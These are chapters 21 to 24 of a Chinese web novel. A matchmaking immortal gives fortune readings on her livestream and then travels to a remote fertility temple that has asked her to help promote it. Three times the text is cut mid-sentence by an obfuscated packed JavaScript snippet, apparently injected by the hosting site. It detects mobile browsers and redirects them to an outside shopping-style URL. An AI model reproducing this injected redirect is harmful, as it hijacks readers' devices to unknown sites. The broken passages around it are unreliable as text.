“你的正缘是一位从事教育行业的男性,年岁长于你三载,家庭情况的话,父母双全,无兄弟姐妹,但家庭收入处于中下层,父母也不与他同住……我不清楚原因,只能模糊看到,他们常年在各地轮番居住,每处会停留数月。” 莺芝不大懂这是什么个情况,说起时也有些微微的迟疑,觉得这或许会是“减分项”。 观众们却都乐呵呵的。 哎哟,老两口到处旅居?挺潮啊。 莺芝继续说着:“——从‘卦象’上看,他的性格有些……嗯、活泼?另外与动物的缘分有许多,有被动物们带来很多麻烦,但缘依旧越来越多。” 说到后来,莺芝语气有些沉重。 对于许多人来说,“吃一堑长一智”才是一个值得的有智慧的人,但这人即便麻烦缠身,但身边的缘仍旧越来越多,可见是没有避开的—— 虽然,作为“动物”成仙,莺芝本该对这样的人很是喜爱;但,现在是在工作,这是她客户的正缘,她当然还是要站在客户的立场上的。 董银灵原本是抱着单纯地哄哄莺芝的心思,可听着听着,也忍不住有点好奇起来。 从事教育行业……老师吗?年纪比她还大三岁,那岂不是快奔三了?动物缘——难道是喜欢养宠物?还是收养救助流浪动物?被它们带来了很多麻烦,但是仍然没有放弃? 好神奇的人…… 【骂谁二次元呢:别说,你还真别说,这个人设跟董小姐姐搭一起,还挺好吃的,我浅来一口】 【一只浪迹瓜田的猹:二次元姐泥真的够了啊怎么到处都能磕啊!诶这对好像确实还不错,我也尝尝咸淡】 【晚间生物:如果董银灵能从这件事里走出来,迎接新生活,也是一件好事】 【你到底说不说:这个人听起来还行,最起码父母不会添堵,虽然男的好像是个惹祸精,不过惹祸归惹祸,有能力处理好就行,董银灵的生活,好像也缺个这种来调剂一下吧?正好这人年纪也不是很小,又大概率是老师,应该不会太幼稚,像是良配】 …… 众人讨论间,莺芝道: “你们最近一次的相遇机会,在两个月后的一次多人会面中——雨天,下午。” “这便是你的正缘。如果有心与他相遇,可以从我这里取一根红绳,以助你增长相遇的可能,若不想,届时避开即可。” 不等董银灵说话,莺芝又想到什么,忙补充:“红绳和卦一样,免费附赠,不要钱。” 她语速有点急,像是生怕说慢了会被指责“骗钱”一样。 被灌了一耳朵所谓“正缘”的资料,情绪已经完全不见刚才低落的董银灵忍不住抿了抿嘴,露出一点笑意:“只要之后去庙里多上几炷香,对吧?” 莺芝笑容也绽了开来:“是。” “好,我会好好考虑的。如果有需要,一定来找你!” 莺芝颔首。 两人稍微告了个别,连线也就此断开。 莺芝望向镜头,微笑着继续:“今日还有两次……” 21. 第 21 章 可能是觉得莺芝后边给出董银灵“正缘”信息时的措辞语句说法等过于的“专业”,比起很多算卦的“大师”们也不遑多让,直播间的观众们讨论的内容话题也越来越倾斜。 而且最重要的是——从头到尾,竟然真的是一点钱也没收! 等董银灵离开连线,许多就是为了关注潘永福时间后续的观众们也离开,那些滚动着的消息里,已经只有很少部分是在聊潘永福相关事情的了。 听到莺芝说出还有两个名额,大家纷纷都送起了礼物,兴冲冲表示自己也要加入抢夺。 各种礼物的特效声中,莺芝接下来的两“卦”也都接连登场了。 其中紧接在董银灵后边的,是一位正在读大学女生。 她想算算跟现在在谈的隔壁班的男朋友能不能走到最后,被莺芝告知对方还有一个网络上的女友后,干脆利落就在直播里拨了对方的电话通知了分手,然后,又眼巴巴望着莺芝,询问自己的正缘在哪,能看到不。 莺芝被她雷厉风行的做派、小狗一样的眼神,搞得有点忍俊不禁的同时,心里也松了一口气。 就是嘛,她就说嘛,怎么可能会没有人渴求“真爱”? 必然还是有的! 在告知了女孩对方的正缘要在七年后才相遇、并在对方的大失所望的哀怨中,连线断开,直播间迎来了今天的第三位幸运观众。 这是个看起来还不到十岁的小男孩,长得清秀可爱,不是那么黑的头发还有点自然卷。 他捧着手机趴在学习桌上,一本正经地问莺芝,能不能帮他算算,和他的小女朋友能不能结婚。 满直播间让他快点把手机还给爸爸妈妈的调侃中,男孩表情严肃:“她每天都会给我带糖,笑起来很可爱,我很喜欢她,每天都会给她留最喜欢的甜点,昨天送给了她一个头花,她带上很好看——” 莺芝也忍不住扬了扬唇角,问起对方相关的资料来。 男孩小脸一僵,显然准备的不是很充足。 “……姐姐,你等我一下哦。” 然后,就在无数观众的瞩目中,他把手机悄悄塞到了衣兜里,蹬蹬蹬跑了出去。 片刻后,有声音传入直播间。 “妈妈,我是什么时候出生的?几点呀?在哪家医院?” 回答他的却是一个稍显粗犷的男声:“——你个小崽子还敢提?!要不是你当初不好好按计划出生,我老婆能遭那么多罪、又是打针又是催产的?过来,做什么作业,先给你妈揉揉脚——你揉另外那只。” “我很急的……”男孩嘟嘟囔囔。 直播间黑黢黢的一半屏幕里,看不到他做了什么,只听到那男声有点生气:“让你揉脚,没让你去跟你妈妈撒娇、嘿嘿嘿——干嘛呢你,当你老子我是空气啊!” 随后,一道含笑的女声响起,并不怎么温柔,却让人心都跟着平静了下来: “为什么想知道这些?” 男孩答得老老实实:“我想算算我跟阿洁能不能结婚……” “——你个崽子不得了啊,还没你爹腿高呢就想着霍霍人家家的白菜了?” “好啦,别闹了。”女声笑着斥了一句,随后,她把答案告诉了男孩,又道,“是什么算卦的软件吗,如果我收到了扣款提示,会原封不动从你压岁钱里扣的哦。这是你算的卦,理应你自己承担费用。” 男孩重重“嗯”了一声:“我知道的妈妈,没问题!” 说完,他嘚嘚嘚又跑回了房间,男人笑骂的声音被甩到了房间外。 然后,直播间的镜头一晃,男孩小脸再次出现,黑亮的眼睛里带着点雀跃:“姐姐,你给我算吧,我妈妈刚刚说的你听到了吧!” 莺芝失笑:“好的。” 红线落下,她睁开眼,含笑朝镜头点了点头:“那位名字里带洁字的女孩,是你的正缘。你们之后会在父母的祝福中结为夫妻,成立家庭,幸福美满。” “我就知道!好耶——” 男孩雀跃跳起,一个没留意,脑袋磕在了书桌上方的隔层上,痛得一声没控制住嗓音的“嗷”,引得屋外又是一声大嗓门。 “你到底还做不做作业了,不做就出来!等会邻居要是来投诉你扰民,我要罚你小子明天刷碗的!” 男孩捂住嘴巴,讪讪一笑,眼睛却是晶晶亮的。 他小声道:“放心吧姐姐,我知道你的规矩,也懂规矩的!这周末我就和阿洁的约会就会定在月老庙,我们一起去给你的老板上香~” 莺芝笑着摇了摇头,没把有些稍稍小得意的话说出口。 上司? 她就是如今姻缘殿的主事人了,没有上司。 【我x我x我x,真真正正青梅竹马啊,谁眼红了我不说反正不是我呜呜呜呜】 【……我只能说,牛】 【这种家庭一听就很幸福啊,也替那个女孩感到开心】 【我这次真的酸了,为什么小学生都能得到真爱,我却只能跟傻逼相亲】 【我又相信爱情了,但是只限今晚】 …… 连线断开,满屏的观众们还兴致勃勃的讨论中,莺芝带着职业的笑容,三两句说完结束语,直截了当关闭了直播。 依照平台设置,直播关闭,黑屏彻底消失前,还有三分钟可以供讨论的时间。 完全没尽兴、还有很多话要说的观众们纷纷控诉着她的无情。 不知道是谁先提议的,总之很快,屏幕上就有人发出了群聊号码,以晚间生物为代表的“大哥”带头同意加入,许多人便都纷纷复制了该号码,转手加入。 ——还没顾得上说出的意见和看法,随着聊天讨论阵地的转移,也总算有了新的地方以供发表。 莺芝对这些全然不知。 三次实打实的观缘,让她的仙力消耗得差不多了,即便今天是刚从天庭下来,有过昨晚的补充和调息,也还是不可避免有点疲惫。 直播关闭,简单洗漱一番后,她就倒入了床铺,沉沉睡去。 …… 翌日清早,莺芝照常起床,收拾后到楼下街边买了早餐,又去到了庙中。 这里已经算是她在凡间的“补给站”了。 拎着早餐,她往那个供奉着多位神像的小院走去。 现在时候还早,庙里的人并不多,少许的一些也多是原本的工作人员,清洁工等,像莺芝这种穿着“汉服”长裙的年轻姑娘在这儿是相当显眼且有记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033249|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆点的。 为避免给人们留下什么诸如“有个奇怪的姑娘老是在早上到庙里来然后一坐一天”的印象,她都是尽量避着人走的。 熟门熟路抵达目的地,刚一拐出拱门,莺芝就瞧见一个身影在那几棵熟悉的“祈愿树”下观察着,那人不算太高,走路的时候一高一低的,看着腿脚有点不太爽利。 估计又是那些祈求发财健康的,遇到难事来拜拜神、或者难关度过来还愿的吧——也只有他们会来这么早。 心下琢磨着,她脚下一转,当即拐了个弯,从另外的方向直接绕到了月老那间的后门,在后墙靠近月老像的长椅上落座。 庙里这会儿人太少,为降低存在感,能避则避。 至于现在嘛…… 莺芝将刚捞出油锅还有些滚烫的油条从袋里取出,小口咬上一块。 先吃饭。 油条外焦里软,一口下去油香满口,只是对于吃惯了天庭食物的仙来说,难免会觉得有些腻。于是乎,莺芝基本是吃上一段就要吸好几口解腻的豆浆,吃上几口又要吃一小块摊主送的小咸菜丁,就这么来回循环着,简简单单一顿早餐给她吃得忙碌不已。 至于墙上贴着的“此地禁止进食以免打扰神仙”,她完全没理会。 ——姻缘仙在自己的庙里吃吃东西怎么了? 在她身边的空位上坐着,临时取消耳饰化形的红线小人完全赞成,顺便捧着鸡蛋手脚并用地剥着。 突然,脚步声从一墙之隔的殿内传出,有人进入了月老殿。 衣料摩擦的声响过后,一道声音响了起来。 “感谢月老……谢谢您派来的使者为我指点迷津,圆了我的念想……” 声音不算太大,只能说是“低语”,但或许是因为周围没人的缘故,说话的人没有刻意压着声音,以莺芝的耳力,能听得再清楚不过。 她心里一动,耳朵当即竖了起来。 “我也没想到这辈子还能再看她一眼……分开了这么多年,有了这一面,见她过得还算不错,我也就圆满了……” “感谢您的好意,只是……我不能去拖累她,所以特地来跟您道个歉,希望您能原谅我……” 那人又念了几句,随后,脚步声再次响起,一轻一重,交替着逐渐远去。 莺芝一口气喝完豆浆,把包装的袋子和纸杯扔到了旁边的垃圾箱里。 她擦了擦嘴,清理干净后,从后门迈入了殿中。 大开的殿门正对着面容慈祥的神像,长案上,几支刚燃了不久的香正袅袅散飘着烟,莺芝扫过殿中陈设,心有所感般,视线陡然一转,落在了地面的蒲团上。 ——一根红绳正悄无声息地躺在上面。 莺芝微微一顿。 她这些天送出去的红绳,拢共也没有几根,文隽那里一根,另一根…… 方才在院中匆匆一瞥的那个身影再度浮上脑海,莺芝恍然。 原来是他。 ——看来他去见过那位女性了。 只不过,他该是没有选择相认,只是默默地守望了片刻。 莺芝叹息。 因为相爱而感到亏欠,便就选择如此错过。 ……实在可惜。 22. 第 22 章 之后的几天,网上关于潘永福董银灵事件的风波闹了沸沸扬扬的一阵子,才渐渐过去。 莺芝的直播中,董银灵自白部分的切片也被剪了出来,带上事件tag,随着董银灵事后在自己主页发动态po出来了的医院单子、银行账单等一起,均皆爬到了热搜前排,算是将这件事从另一个角度展示在了大众面前。 值得一提的是,董银灵还单独发布了一条动态,配有一张转账截图。 金额不算小,有十数万。 转账时间是前段时间的某天晚上,收钱方则是某山区孩童助学基金会,而执行这笔转账操作的,看用户名,赫然是潘永福本人。 ——那笔被他家里人在他死后还心心念念惦记着的,宁可无视他意愿、把他视作安全感港湾、爱并愧疚着的女孩名声搞臭,都想要找回的钱款,那笔他和董银灵在几年间一点点攒起来的生活经费,被他在去世的那一晚,就全部捐了出去。 他到底有没有想过要回家,有没有想到自己会出意外,都已经无人知晓,但是这笔钱,确实是实实在在地,被他送给了那些和他、以及他那些可怜的姐姐们一样的孩子们。 这一结果,令人唏嘘不已。 而随着风向转变,部分在事件爆出来后就立刻义愤填膺加入了对董银灵声讨大军、站队表态,以借此博得众多关注的“大v”们,先后站出来对董银灵道了歉。 但也有一些包袱比较重、或逆反心理比较足,抑或本身就对董银灵这等被盖章为“捞女”人群极度不认同的人,仍旧固执己见,把所有意见不同的人都打为了极端尖锐的人群等。 不过总的来说,这些都不会再对董银灵的生活造成什么影响。 潘家父母也被网友们当成了典型的例子,平时在网上跟别人互动打嘴仗时总会拉出来说一下。 这件事的风头虽然过去,但从最初时潘永福失意露面,到后来的潘家人气愤求助,以及最后董银灵的自白声明,尘埃落定,一切的一切,都有着一个身影出现在,把整件事串了起来,且在其中还起到了相当一部分作用。 以广大网友们的吃瓜水准,当然不会把它漏掉—— 那个神秘的直播间! 据围观了全程了部分网友透露: 【潘永福当时算卦的时候,那个主播就看出了有什么不太对劲,后来潘家人上门,她更是严词拒绝,直接下播,到最后,董银灵这个真正的“受害人”出现,她才松了口,给出了堪称惊雷的信息量,让事情的真相成功被揭露,实在是太神了!】 【而且,好像前阵子任柏承隐婚出轨的事也是她曝光出来的吧?】 【对对对,我一个朋友当时正好在直播间,说那个被小三的粉丝当时完全不知情,上门算卦是纯属为了踢馆找茬,结果被塞了这么一嘴真相,人都懵了。】 【也多亏了这主播,大家才知道任柏承是什么货色啊。】 最终,许多吃瓜群众就此认定——这是个真的能掐会算的活月老! 这时,部分网友便带着直播间的链接低调路过,恰到好处让其他人得知了该直播间以及此“活月老”的名字。 之后莺芝的直播,人气虽不再有任柏承事件和潘永福事件最高峰时的数据,直播时互动的活人观众却不少,粉丝数也更是一路飙升,迅速就突破了五十万的关卡,且几乎都是新鲜活粉。 这对于一个新人主播来说,简直是不要太离谱的数据,也是多亏了现在直播行业的火热,才能让莺芝有这么“轻易”涨粉的经历。 莺芝并不太明白这是个什么概念,她只知道,每次直播时,弹幕上讨论她观缘相关内容的是越来越多了,时常也会出现一些男男女女在上边讲述着自己和恋爱对象的事情,对此,姻缘仙大人表示十分欣慰。 而她的私信列表,也总都是满满当当。 “月仙大人,这个x博上有人找你诶!” 身兼直播小助手及私人助理双职位的红线小人现在恨不得时时刻刻抱着手机,实时监测各项信息,发现了什么新内容后就迫不及待向莺芝汇报。 莺芝正在吃饭,用以佐饭的是一部古代的神仙下凡轻喜剧,热热闹闹最终皆大欢喜版,是她最喜欢的调调。 听到红线小人的声音,她把剧暂停:“什么内容?” 她的x博账号并没有“认证”,也没有在资料什么的挂上是自己的说明,更没有什么相关联的动态,只有一个ID和直播平台的一样,所以很少有人会从这里找她,平时闲聊倾诉之类都是从直播软件那边,这里的多半就是一些没什么意义和内容的试探,比如问问她是不是真的“小莺”之类。 上次有人从这边找她,且确实有事的,还是董银灵。 现在红线小人这么说,明显不是普通的水聊,所以她也稍稍多了些关注。 “是说想找您合作——” “合作?”莺芝一怔。 找她合作什么? 她又不是很了解凡间的这些东西,能做什么? “他们说,他们那边是一个庙,在搞旅游计划,想找您合作,帮忙推广一下。” 这下莺芝听懂了。 她来了些兴趣,又有点好奇:“很偏僻的庙宇吗?”比如基本上没有香火的那种。 要不怎么会找到她来帮忙推广。 红线小人摇头:“没细说,但应该不是姻缘庙,不然就会直说了——不过他们留了联系方式,我们要问问吗?” 莺芝没有拒绝:“可以,那就问问吧。” 不管怎么说,这种类型的合作,她是可以加入一下的,即便不是姻缘庙,那也不是不能帮帮忙,反正都是同僚们的,说不定还能赚点人情。 红线小人得了准允,当即便添加了对方留下的联系方式,有模有样地沟通了起来。 莺芝也不着急,继续慢条斯理吃着自己的饭。 等她吃得差不多,那边的沟通也有了初步的结果。 “他们确实有点偏僻,在一座山里。但据他们说,他们那里是很灵验的,周围城市的人都知道,经常有人大老远跑去求上一签拜一拜。”红线小人汇报道,“只不过因为太偏,所以知名度很难打开,除了本就对他们熟悉的,就只有‘口口相传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050232|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’这么一个法子——他们也有在做视频账号,但成效应该是不怎么样,刚好刷到了月仙大人您的直播剪辑,听到您说不收钱但是需要去庙里上香,觉得是个虔诚的人,就想和您合作,虽然不是月老庙,但他们说‘天下玄学是一家’,都可以互惠双赢一下。” “很灵验……”莺芝略略抬眉,好奇道,“是哪殿的庙宇?” 很灵验的话,依照现在网络的传播速度,即便下边只有人口口相传,但只要搞起来线上的,也是很容易在网上火起来的啊。 “呃。”红线小人停顿了一下,“……送子娘娘殿。” 莺芝唏嘘:“是他们啊……那没事了。” 她一点也不觉得奇怪了。 这可是比她们姻缘殿业绩还要差的部门,难怪香火起不来。 想到这儿,莺芝没有过多犹豫:“行,可以。合作就合作吧。” “等今天的直播结束,再详细跟对方沟通一下合作的内容——嗯,到时候我顺便问一问文隽,看看他要不要加入进来,为他们送子殿的业绩添添柴。” 红线小人双手赞成。 直播时间已到,一人一线也不再多说,简单收拾一下,开启了今天的直播。 …… 找莺芝合作的那家庙宇名叫恩辉寺,位于茂城辉林山一带的山间。 莺芝循着对方给出的“交通路线乘车攻略”,从落脚的城市出发,乘坐高铁至茂城,而后经转几路大巴,又搭乘了一段路过村民的三轮翻斗车,付出一张大钱,最终才兜兜转转抵达距离恩辉寺最近的一处山脚村落。 在茂城下车后,她有试探询问过周围的人们,有没有谁知道“恩辉寺”要怎么走,但让人失望的是,几乎没有人知道这是个什么地方。 莺芝深感疑惑—— 他们不是说,附近的人有许多都知道吗? 连所在城市的人都鲜少有知道该庙宇的话,这要推广起来确实不是一般的难啊……难怪他们会“病急乱投医”,找到一个姻缘方面的主播去。 而等中间转过几次大巴,才有售票员接了莺芝的话,与她聊起这恩辉寺来,不过在她口中,称恩辉寺全称的少,基本都是只称“庙上”—— “哎哟小姑娘,你去庙上啊?” 又或是:“别说哎,庙上确实灵,我邻居家有个早先嫁到隔壁村去的表姐,十几年前那会儿了,说什么都怀不上,两口子都去医院查过,说是没问题,可就是怀不上。就是她老娘替她去庙上求了求,后来才有了他们现在那个闺女……长得可水灵了!” 莺芝一边笑着和对方维持交谈,一边心中叹气。 在知道他们的人这里,连全称都没了,只有个土称,就算“灵验”宣扬出去,又有谁知道“恩辉寺”呢? 从三轮车上下来,挥别热心大姨“去家吃饭”的招呼,莺芝没有选择从对方那里打探来的直达庙上侧门的路线,而是绕去了从正常铺下来的官路,独自往上行去。 过了还能供车辆行驶的路段,便已经到了林深处,木板铺就的小道尾衔石阶,再往上去,才终于是恩辉寺大门。 23. 第 23 章 月老定缘直播间现在的观众群体已经基本都是常驻看客,以讨论每天的卦象、吃瓜、蹲算卦机会等为要,围绕莺芝的三次观缘展开,很少再有像任柏承和潘永福事件巅峰时的那种,只关注瓜本身,一点也不管这个直播间到底是干嘛的。 每每莺芝开播,观众们已经都摩拳擦掌,准备好抢连麦机会或收集新瓜素材——越来越像一个“专业”的直播间了。 三轮连线结束,莺芝从容下播,观众们则热热闹闹转移阵地,去他们的群聊里继续唠今天的三对。 收到莺芝的消息时,文隽正处理着文书,时而瞥一眼群里关于“今天这个男医生的老婆到底因为什么跟他吵架”“工作太忙到底该不该结婚”的热火朝天的争论,以作放松。 手机震了几震,看到新消息弹窗,文隽放下笔,有些莫名地划拉出对话框。 “——深山小庙意欲开展旅游业务,寻求推广合作,邀我去‘实地考察’,我已接受邀请,此庙宇系送子殿相关,你是否要同行?” 文桐凑头过来,有点诧异,“这谁的消息啊?” 文隽迅速把手机锁屏,收入乾坤袋,避开了她直勾勾的目光,随后侧头瞥向这位又摸鱼摸到他背后来了的不速之客。 顶着文隽“你怎么又来”的视线,文桐视若无睹泰然自若:“送子殿跟你有什么关系?送子殿的去考察,还要叫你一起?你什么时候有送子殿的朋友了?” 文隽没理会她,在追问声中草草收拾了桌案,起身径直朝殿外走去。 “剩余的文书你批完放我案上。”待得走出许多,他的声音悠悠飘了回来。 文桐一愣,似是没想到他说走就走,回过神来时,那人影已经完全不见。 她低头,案桌上,没批的文书小山一样摞起。 “……文隽!你又溜下凡!!” 还留下这么多工作! …… 莺芝踏上最后一阶石阶,看见惠恩庙的大门时,也看到了惠恩庙大门边上正在研究那块刻写庙宇名称匾额的文隽。 在还没完全上来前,她就察觉到了他的存在,故而并没有什么诧异。 对方明显也早早就感知到了莺芝的到来,回过身来,对她微微颔首以示招呼。 “和上头汇报过了吗?”莺芝走近几步,“如果是下来办公,应该能算是带薪出差吧?” “嗯,汇报过了。”文隽点头,又稍微抬抬手指了指匾额,“你来看这个。” 顾不上探听送子娘娘殿出差的待遇怎么样,有没有补贴,莺芝仰起头,顺着他指的方向看向那块充满了岁月痕迹的匾。 “什么?” 此刻周围没有其他人,文隽声音依旧不大,刻意放轻了些:“确实有仙力残存的痕迹。” 莺芝也随着稍稍感知了一下,同样轻声回:“嗯……已经快完全消失了。” 有仙力残存的痕迹,证明确实是有过“显灵”的,也就是说,这里的工作人员说,自家的庙很灵验,并不是在单纯地吹牛,而是真的有受到过所供奉的仙神的照拂——还不是那种简单的“批量处理”的照拂,是像莺芝这种,身负相关职责的神仙亲自出手,针对性地、单独的出手。 至于现在马上要消失……也不难理解。 近些年来,送子殿那边本身就业务减少,在凡间的香火也是大范围地、全面性地减少,所以天庭原本就有裁员,大幅削减了该殿的人手,就好比现在的姻缘殿一样,只有莺芝一个主事,剩下的全是红线小人仙鹊鸟这种、在她上任后被其仙力“点化”或“影响”来的,和她在某种意义上来说完全同源、本就属于一体的小助手—— 估计那边的情况和她这里比也好不到哪里去,所以肯定是没什么多余的仙能分精力到这种小小的庙宇来。 而且现在“求子”的祈愿也少,这种偏僻小庙宇,除了本身就在这里修行的人每天定时祈祷之类,说不定很久都出不了一个外来的,天上更不会把视线投注到这边来了。 那仙力的痕迹可不就渐渐淡化了么。 想到这儿,莺芝怜悯地看了一眼文隽,安慰道:“没事,我们这次来,就是来看看有没有什么能帮上忙的。不用担心,一点点来,会慢慢变好的。” 文隽:“……我们还是先进去吧。” 莺芝没有意见:“行,刚好我去问一下跟我联系的那个人在哪里,完善一下之后的合作细节。” 说完,她率先迈进了惠恩庙大门。 …… 惠恩庙规模不大,就是像他们介绍上所写的那样,一个寻常小庙。 莺芝二人刚走进庙中没几步,就瞧见了个身着长衫,怀抱扫帚在椅子上打盹的男人。 忽然,那人像是睡魇住了般猛地一个激灵,直直坐了起来,两眼大睁。 莺芝脚步一顿,望了眼身边在这突如其来的动静里下意识后退一步的文隽,眨了眨眼,重新看向那位被他们脚步惊醒的人。 那人呆呆坐了一下,看了看怀里的扫帚,又揉了把眼,渐渐回过神来。 见状,莺芝微笑出声:“你好,我是……” “啊——小莺!” 出乎莺芝意料的是,对方眼睛一亮,迅速叫出了她的名字,完全看不出一点“如梦方醒”的困倦。 喊完这一声,他才意识到自己现在是个什么状态,忙站起身。 他把扫帚丢到一边,在身上抹了抹手,朝莺芝和文隽伸出去:“你好你好,我是随心而去。” 文隽没吱声,但在莺芝之前伸手握了上去。 “你就是随心而去?”莺芝有点惊讶。 那个戳到她私聊,并跟红线小人联系的,昵称就有随心而去这几个字在里头。 “对,我就是——咱们边走边说?先逛逛庙里。”那人嘿嘿笑了笑,也不觉得尴尬,坦坦荡荡的,“这不是地方比较小么,人也不多,所以很多事儿都是我们自己做。” 经他介绍,庙中的洒扫炊事等杂事,基本也都是这里供奉神像维护庙宇的,常驻的他们几个自己负责。 当然,接待和网络运营也是。 他掏出手机,给莺芝他们展示了几个视频平台他们的“作品”,又自豪又有点不大好意思。 “拍的不好,主要也都不太懂——但我们人不多,只要能把庙照应好,就算要学什么新的东西,我们也都很乐意,毕竟是我们的分内之事。至于当时说的在搞旅游计划……哈哈,一点梦想嘛。” 莺芝表示理解。 既然是想求合作,那不可避免地就会把自己这边情况往好了吹一点。 “喏,这就是我们的主殿了,里边供的送子娘娘,许多来拜过的都说可灵验了,据说我老娘当初生我的时候也没少来给娘娘擦案上香。” 莺芝偏了脑袋,声音压低:“现在你们殿主事是谁?” 文隽轻轻“嘶”了一声:“我想想……应该是榴仙。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062528|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …应该?”莺芝微讶。 这是连上司是谁都不知道? 文隽对她的讶然视若无睹,面不改色继续道:“近些年才上任的,好像是因为上一任请辞去云游四海了,榴仙便升了上来。” 莺芝若有所思地点点头。 说话间,惠恩庙的唯一主殿已经参观完,随心而去带着两人逛到了庙宇后方。 和寻常庙宇中以东西两侧厢房为留驻人员住处不同,惠恩庙这里,随心而去他们这些以这里为家的人居住在殿后小院的厢房中。 “吃饭和厨房,还有我们的房间都在后边,东边是给来祈福拜神,来不及下山的人临时住的,西边是仓房和一些‘义工’的住处——都算是‘客房’吧。” 随心而去介绍着,“二位这几天就在东边先住着吧,那边还有空房。” “义工?”莺芝道,“不是说香客都很少么,这么冷清,还会需要义工吗?” 随心而去笑道:“是很少,但是不管什么时候,总会有些人想着逃离人群,找个隐世之所什么的住一住,像是隐居什么的。不过又不是谁都能真的忍得了那种生活,现在这个社会,也没有随便到一座山里就改个木房子住的条件,所以很多有这种需求的人就到一些道观寺庙或者庵堂之类的当义工——” “这是小莺——对,就那个!等我带他们先逛完一遍再来哈——”他带着两人逐一看过厨房餐厅等房间,跟两个同样穿着长衫的人随意一招手打招呼,又继续先前的话题,“嗐,咱们这儿是没什么需要他们帮忙的,但既然有人都上门来问了,那就留一下,他们反正就是要个新鲜感,住几天就走了,我们给个遮风挡雨的地儿,横竖也就提供一口饭,能值多少钱啊。反正顺便还能让这儿多点活人气儿,也没什么不方便的不是?” “也是。”莺芝道,又问,“那我们住东厢房,是因为现在有义工在,西厢房住了人吗?” “是啊……哎哟!”随心而去“嘿”了一声,“这不巧了么,那不,那两位就是。” 莺芝和文隽沿对方目光方向看去,两个样貌年轻的男性从庙的大门进来,其中一人身上背了个大包,外边露出了几根芹菜豆角,看样子应该都是蔬菜,另一人则拖了个小小的带滑轮的篓,里边放着一些瓜果。 “胜老哥,你们这台阶也弄太高了,负重上来好累啊!”拖着篓的那个男人上气不接下气地喘着气,开玩笑似地抱怨着。 随心而去笑道:“哎呀,辛苦二位了——都说了不必麻烦,菜什么的咱后边种的有,不缺的,瓜果也不着急吃嘛。” 他朝后边指指,“弄到后厨就行,或者东西放这儿,去后边喊他们来搭把手也成——安先生,要不先把包放地上休息休息?” 背着蔬菜的男人摇摇头:“不用麻烦了,我们直接弄过去就行。” 说完,两人从莺芝几人让开的道路往厨房的方向走去。 快要跨出走廊时,一道女性身影从另一个方向走了过来,迎到了那位拖着瓜果篓的男人身前。 他们说了些什么,她为男人擦了擦额头,随后,三人有说有笑地离开了走廊。 莺芝收回视线,正欲说话,一直没吱声的文隽突然开了口。 “那位也是义工?” 随心而去点头:“是啊,他们二人是夫妻,最近才来的,后边那位倒是常来。” 文隽没再说话。 莺芝觑了他一眼,又瞧瞧几人消失的方向,眼眸微闪。 24. 第 24 章 等到一圈逛完,把惠恩庙大致的情况了解了一下,莺芝和文隽便在随心而去的指引下,先行去给他们落脚的东厢房安置了。 他们两人出行,实在是再方便不过了,什么累赘的东西都不用带。 只不过,为了混在凡人中不显得突兀,莺芝还是选择背了个简单的旅行包——虽然里边基本什么都没装,轻飘飘的,但作为掩饰也是够的。 文隽则是在和莺芝汇合后,进了庙门时才从乾坤袋里取出了个包。 两侧的厢房均有数间,东侧这边的都还空着,莺芝和文隽随意挑了两间相邻的。 推门而入,莺芝刚迈过门槛,耳朵上的红绳便迫不及待落到了她肩上,变成一个人形。 “月仙大人,这里也太冷清了吧!” “来之前我们不是就已经知道了么?要是很热闹,也用不着找到我们来帮忙了。” 莺芝简单扫过一圈打量了一下环境——一张桌,一张床,一个柜子,基本生活必须的都有,还不错。 “也是……”红线小人嘀咕了几句,见莺芝又要出门,忙重新恢复化形,附上她耳垂。 莺芝没有选择坐下休息一会儿,放下旅行包后,她当即就转身离开了房间,准备敲响隔壁的门。 下一秒,文隽打开了门。 两人就这么一内一外碰了面,莺芝微怔,旋即道:“看来你也准备再去逛逛——难得呀,不应该多休息一下的吗。” 被她调侃了这么一句,文隽咳嗽一声,继而又笑了笑:“初来乍到,怎么好意思关起门睡大觉。我觉得该去和其他人多聊聊。” 莺芝往后院的方向微微一偏头:“那走吧。” 随心而去叫袁胜,所以又被那两个义工称为“胜老哥”,据他自己所说,他家祖辈一直维护着这间庙宇,修缮什么的,都是他们负责,这间庙也几乎算得上是他们本家的了。 刚刚给他们安排完住处后,袁胜就回到了后院,眼下莺芝两人也是朝着院后的方向在前进。 突然,莺芝开口:“你为什么对那几个义工感兴趣?” 她冷不丁这么一问,文隽倒也没觉得有什么突兀的,他反问道:“你不觉得,这么冷清的小庙,三个义工太多了吗?” “也还好吧,对于夫妻来说,到这里来也正常。”莺芝眼睛弯起,“如果这里真的很灵验的话。” 两人交换了一个眼神,压下各自的笑容,迈出了厢房前的走廊。 